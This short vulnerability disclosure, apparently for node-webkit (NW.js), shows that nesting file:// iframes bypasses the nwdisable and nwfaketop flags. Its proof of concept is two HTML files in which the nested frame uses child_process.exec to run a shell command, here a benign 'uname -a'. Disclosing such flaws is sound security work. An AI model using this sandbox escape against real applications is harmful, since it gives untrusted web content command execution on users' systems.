It’s possible to bypass nwdisable and nwfaketop flags by nesting iframes inside top-level sandboxed iframe that uses file:// or app://.
Proof of concept
# nwfaketop.html
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Testing nwfaketop and nwdisable</title>
</head>
<body>
<iframe src="file:///home/stardust/dev/sectest/node-webkit/nwfaketop/test.html" nwdisable nwfaketop>
</iframe>
</body>
</html># test.html
<script>
var exec = require('child_process').exec;
exec('uname -a',function (error, stdout, stdin) {alert(stdout)});
</script>
<iframe src="file:///home/stardust/dev/sectest/node-webkit/nwfaketop/test.html">
</iframe>Result
